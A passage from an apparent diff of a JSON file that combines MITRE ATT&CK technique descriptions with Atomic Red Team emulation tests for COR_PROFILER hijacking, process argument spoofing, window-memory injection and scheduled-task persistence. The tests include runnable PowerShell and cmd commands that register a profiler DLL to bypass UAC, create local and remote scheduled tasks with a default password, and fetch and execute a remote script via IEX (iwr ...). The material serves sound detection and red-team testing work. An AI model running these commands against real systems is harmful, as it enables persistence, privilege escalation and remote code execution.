the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)\n\nAdversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) WriteProcessMemory() function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)\n\nAdversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)\n\nThis behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Detection of process argument spoofing may be difficult as adversaries may momentarily modify stored arguments used for malicious execution. These changes may bypass process creation detection and/or later process memory analysis. Consider monitoring for [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), which includes monitoring for process creation (especially those in a suspended state) as well as access and/or modifications of these processes (especially by the parent process) via Windows API calls.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not and/or do no align with its logged command-line arguments.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1574.012": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Jesse Brown, Red Canary" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335", - "type": "attack-pattern", - "created": "2020-06-24T22:30:55.843Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.012", - "url": "https://attack.mitre.org/techniques/T1574/012" - }, - { - "source_name": "Microsoft Profiling Mar 2017", - "url": "https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview", - "description": "Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020." - }, - { - "source_name": "Microsoft COR_PROFILER Feb 2013", - "url": "https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)", - "description": "Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020." - }, - { - "source_name": "RedCanary Mockingbird May 2020", - "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/", - "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020." - }, - { - "source_name": "Red Canary COR_PROFILER May 2020", - "url": "https://redcanary.com/blog/cor_profiler-for-persistence/", - "description": "Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020." - }, - { - "source_name": "Almond COR_PROFILER Apr 2019", - "url": "https://offsec.almond.consulting/UAC-bypass-dotnet.html", - "description": "Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020." - }, - { - "source_name": "GitHub OmerYa Invisi-Shell", - "url": "https://github.com/OmerYa/Invisi-Shell", - "description": "Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020." - }, - { - "source_name": "subTee .NET Profilers May 2017", - "url": "https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html", - "description": "Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020." - } - ], - "modified": "2021-08-30T21:35:12.049Z", - "name": "Hijack Execution Flow: COR_PROFILER", - "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Windows Registry: Windows Registry Key Modification", - "Command: Command Execution", - "Process: Process Creation", - "Module: Module Load" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "identifier": "T1574.012" - }, - "atomic_tests": [ - { - "name": "User scope COR_PROFILER", - "auto_generated_guid": "9d5f89dc-c3a5-4f8a-a4fc-a6ed02e7cb5a", - "description": "Creates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER).\nThe unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process.\nAdditionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity.\nIf the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however,\nthe notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_name": { - "description": "unmanaged profiler DLL", - "type": "path", - "default": "PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll" - }, - "clsid_guid": { - "description": "custom clsid guid", - "type": "string", - "default": "{09108e71-974c-4010-89cb-acf471ae9e2c}" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "#{file_name} must be present\n", - "prereq_command": "if (Test-Path #{file_name}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"#{file_name}\"\n" - } - ], - "executor": { - "command": "Write-Host \"Creating registry keys in HKCU:Software\\Classes\\CLSID\\#{clsid_guid}\" -ForegroundColor Cyan\nNew-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\\InprocServer32\" -Value #{file_name} -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -PropertyType String -Value \"#{clsid_guid}\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -PropertyType String -Value #{file_name} -Force | Out-Null\nWrite-Host \"executing eventvwr.msc\" -ForegroundColor Cyan\nSTART MMC.EXE EVENTVWR.MSC\n", - "cleanup_command": "Remove-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\" -Recurse -Force -ErrorAction Ignore \nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -Force -ErrorAction Ignore | Out-Null\n", - "name": "powershell" - } - }, - { - "name": "System Scope COR_PROFILER", - "auto_generated_guid": "f373b482-48c8-4ce4-85ed-d40c8b3f7310", - "description": "Creates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.\nThe unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity\nlevel of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will\nstill execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_name": { - "description": "unmanaged profiler DLL", - "type": "path", - "default": "PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll" - }, - "clsid_guid": { - "description": "custom clsid guid", - "type": "string", - "default": "{09108e71-974c-4010-89cb-acf471ae9e2c}" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "#{file_name} must be present\n", - "prereq_command": "if (Test-Path #{file_name}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"#{file_name}\"\n" - } - ], - "executor": { - "command": "Write-Host \"Creating system environment variables\" -ForegroundColor Cyan\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER\" -PropertyType String -Value \"#{clsid_guid}\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER_PATH\" -PropertyType String -Value #{file_name} -Force | Out-Null\n", - "cleanup_command": "Remove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER_PATH\" -Force -ErrorAction Ignore | Out-Null\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Registry-free process scope COR_PROFILER", - "auto_generated_guid": "79d57242-bbef-41db-b301-9d01d9f6e817", - "description": "Creates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_name": { - "description": "unamanged profiler DLL", - "type": "path", - "default": "PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll" - }, - "clsid_guid": { - "description": "custom clsid guid", - "type": "string", - "default": "{09108e71-974c-4010-89cb-acf471ae9e2c}" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "#{file_name} must be present\n", - "prereq_command": "if (Test-Path #{file_name}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"#{file_name}\"\n" - } - ], - "executor": { - "command": "$env:COR_ENABLE_PROFILING = 1\n$env:COR_PROFILER = '#{clsid_guid}'\n$env:COR_PROFILER_PATH = '#{file_name}'\nPOWERSHELL -c 'Start-Sleep 1'\n", - "cleanup_command": "$env:COR_ENABLE_PROFILING = 0\n$env:COR_PROFILER = ''\n$env:COR_PROFILER_PATH = ''\n", - "name": "powershell" - } - } - ] - } - } - }, - { - "category": "privilege-escalation", - "data": { - "T1055.011": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298", - "type": "attack-pattern", - "created": "2020-01-14T17:18:32.126Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.011", - "url": "https://attack.mitre.org/techniques/T1055/011" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx", - "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.", - "source_name": "Microsoft Window Classes" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx", - "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.", - "source_name": "Microsoft GetWindowLong function" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx", - "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.", - "source_name": "Microsoft SetWindowLong function" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - }, - { - "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html", - "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.", - "source_name": "MalwareTech Power Loader Aug 2013" - }, - { - "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/", - "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.", - "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx", - "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.", - "source_name": "Microsoft SendNotifyMessage function" - } - ], - "modified": "2020-11-10T18:29:31.004Z", - "name": "Extra Window Memory Injection", - "description": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: OS API Execution" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Application control" - ] - }, - "atomic_tests": [] - }, - "T1053.005": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Andrew Northern, @ex_raritas", - "Bryan Campbell, @bry_campbell", - "Zachary Abzug, @ZackDoesML", - "Selena Larson, @selenalarson" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "created": "2019-11-27T14:58:00.429Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1053.005", - "url": "https://attack.mitre.org/techniques/T1053/005" - }, - { - "source_name": "ProofPoint Serpent", - "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain", - "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022." - }, - { - "source_name": "Twitter Leoloobeek Scheduled Task", - "url": "https://twitter.com/leoloobeek/status/939248813465853953", - "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017." - }, - { - "source_name": "Microsoft Scheduled Task Events Win10", - "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events", - "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019." - }, - { - "source_name": "TechNet Scheduled Task Events", - "url": "https://technet.microsoft.com/library/dd315590.aspx", - "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017." - }, - { - "source_name": "TechNet Autoruns", - "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." - }, - { - "source_name": "TechNet Forum Scheduled Task Operational Setting", - "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen", - "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)", - "modified": "2022-04-14T20:59:17.110Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Scheduled Task/Job: Scheduled Task", - "x_mitre_detection": "Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: Process Creation", - "Scheduled Job: Scheduled Job Creation", - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "Administrator" - ], - "x_mitre_remote_support": true, - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1053.005" - }, - "atomic_tests": [ - { - "name": "Scheduled Task Startup Script", - "auto_generated_guid": "fec27f65-db86-4c2d-b66c-61945aee87c2", - "description": "Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view\nthe tasks, open the Task Scheduler and look in the Active Tasks pane.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "schtasks /create /tn \"T1053_005_OnLogon\" /sc onlogon /tr \"cmd.exe /c calc.exe\"\nschtasks /create /tn \"T1053_005_OnStartup\" /sc onstart /ru system /tr \"cmd.exe /c calc.exe\"\n", - "cleanup_command": "schtasks /delete /tn \"T1053_005_OnLogon\" /f >nul 2>&1\nschtasks /delete /tn \"T1053_005_OnStartup\" /f >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Scheduled task Local", - "auto_generated_guid": "42f53695-ad4a-4546-abb6-7d837f644a71", - "description": "Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "task_command": { - "description": "What you want to execute", - "type": "string", - "default": "C:\\windows\\system32\\cmd.exe" - }, - "time": { - "description": "What time 24 Hour", - "type": "string", - "default": "20:10" - } - }, - "executor": { - "name": "command_prompt", - "elevation_required": false, - "command": "SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}\n", - "cleanup_command": "SCHTASKS /Delete /TN spawn /F >nul 2>&1\n" - } - }, - { - "name": "Scheduled task Remote", - "auto_generated_guid": "2e5eac3e-327b-4a88-a0c0-c4057039a8dd", - "description": "Create a task on a remote system.\nUpon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "task_command": { - "description": "What you want to execute", - "type": "string", - "default": "C:\\windows\\system32\\cmd.exe" - }, - "time": { - "description": "What time 24 Hour", - "type": "string", - "default": "20:10" - }, - "target": { - "description": "Target", - "type": "string", - "default": "localhost" - }, - "user_name": { - "description": "Username to authenticate with, format: DOMAIN\\User", - "type": "string", - "default": "DOMAIN\\user" - }, - "password": { - "description": "Password to authenticate with", - "type": "string", - "default": "At0micStrong" - } - }, - "executor": { - "name": "command_prompt", - "elevation_required": true, - "command": "SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN \"Atomic task\" /TR \"#{task_command}\" /SC daily /ST #{time}\n", - "cleanup_command": "SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password} /TN \"Atomic task\" /F >nul 2>&1\n" - } - }, - { - "name": "Powershell Cmdlet Scheduled Task", - "auto_generated_guid": "af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd", - "description": "Create an atomic scheduled task that leverages native powershell cmdlets.\n\nUpon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "name": "powershell", - "elevation_required": false, - "command": "$Action = New-ScheduledTaskAction -Execute \"calc.exe\"\n$Trigger = New-ScheduledTaskTrigger -AtLogon\n$User = New-ScheduledTaskPrincipal -GroupId \"BUILTIN\\Administrators\" -RunLevel Highest\n$Set = New-ScheduledTaskSettingsSet\n$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set\nRegister-ScheduledTask AtomicTask -InputObject $object\n", - "cleanup_command": "Unregister-ScheduledTask -TaskName \"AtomicTask\" -confirm:$false >$null 2>&1\n" - } - }, - { - "name": "Task Scheduler via VBA", - "auto_generated_guid": "ecd3fa21-7792-41a2-8726-2c5c673414d3", - "description": "This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute \"notepad.exe\" within\n30 - 40 seconds after this module has run\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "ms_product": { - "description": "Maldoc application Word", - "type": "string", - "default": "Word" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Microsoft #{ms_product} must be installed\n", - "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n", - "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n" - } - ], - "executor": { - "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053.005-macrocode.txt\" -officeProduct \"#{ms_product}\" -sub \"Scheduler\"\n", - "name": "powershell", - "cleanup_command": "Unregister-ScheduledTask -TaskName \"Run Notepad\" -Confirm:$false\n" - } - }, - { - "name": "WMI Invoke-CimMethod Scheduled Task", - "auto_generated_guid": "e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b", - "description": "Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "xml_path": { - "description": "path of vbs to use when creating masquerading files", - "type": "path", - "default": "PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "File to copy must exist on disk at specified location (#{xml_path})\n", - "prereq_command": "if (Test-Path #{xml_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{xml_path}) 